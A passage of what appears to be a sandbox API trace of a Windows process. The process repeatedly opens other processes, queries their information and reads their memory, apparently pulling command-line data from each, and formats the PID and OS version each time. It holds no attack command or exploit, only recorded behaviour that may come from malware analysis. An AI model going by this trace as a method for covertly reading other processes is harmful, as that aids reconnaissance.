lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.997] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.997] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.997] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.997] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.998] malloc (_Size=0x5e) returned 0xeb6380 [0353.998] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb6380, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0353.998] free (_Block=0xeb6380) [0353.998] CloseHandle (hObject=0xa9c) returned 1 [0353.999] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0353.999] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0353.999] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.999] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.000] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0354.000] GetLastError () returned 0x0 [0354.000] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.001] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.001] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.001] malloc (_Size=0x74) returned 0xea9620 [0354.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea9620, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0354.002] free (_Block=0xea9620) [0354.002] CloseHandle (hObject=0xa9c) returned 1 [0354.002] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0354.002] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0354.002] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.003] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.003] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0354.003] GetLastError () returned 0x0 [0354.003] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.004] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.004] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.005] malloc (_Size=0x6c) returned 0xea8b20 [0354.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea8b20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0354.006] free (_Block=0xea8b20) [0354.006] CloseHandle (hObject=0xa9c) returned 1 [0354.006] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0354.007] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0354.007] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.007] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.008] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0354.008] GetLastError () returned 0x0 [0354.008] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.008] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.008] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.009] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.009] malloc (_Size=0x64) returned 0xeb60e0 [0354.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb60e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0354.009] free (_Block=0xeb60e0) [0354.010] CloseHandle (hObject=0xa9c) returned 1 [0354.010] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0354.010] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0354.010] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.010] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.011] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0354.011] GetLastError () returned 0x0 [0354.011] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.011] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.011] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.011] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.012] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.012] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.012] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.012] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.012] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.012] malloc (_Size=0x68) returned 0xeb6380 [0354.012] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb6380, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0354.013] free (_Block=0xeb6380) [0354.013] CloseHandle (hObject=0xa9c) returned 1 [0354.013] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0354.013] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0354.014] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.014] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.014] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0354.015] GetLastError () returned 0x0 [0354.015] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.015] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.015] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.016] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.016] malloc (_Size=0x62) returned 0xeb6380 [0354.016] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb6380, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0354.016] free (_Block=0xeb6380) [0354.016] CloseHandle (hObject=0xa9c) returned 1 [0354.017] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0354.017] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0354.017] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.017] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0354.018] GetLastError () returned 0x0 [0354.018] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.019] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.019] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.019] malloc (_Size=0x72) returned 0xea97a0 [0354.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea97a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.020] free (_Block=0xea97a0) [0354.020] CloseHandle (hObject=0xa9c) returned 1 [0354.020] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0354.020] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0354.020] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.020] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0354.022] GetLastError () returned 0x0 [0354.022] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.023] malloc (_Size=0x118) returned 0xefada0 [0354.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0354.024] free (_Block=0xefada0) [0354.024] CloseHandle (hObject=0xa9c) returned 1 [0354.024] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0354.024] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0354.024] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.024] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0354.025] GetLastError () returned 0x0 [0354.025] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.025] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: 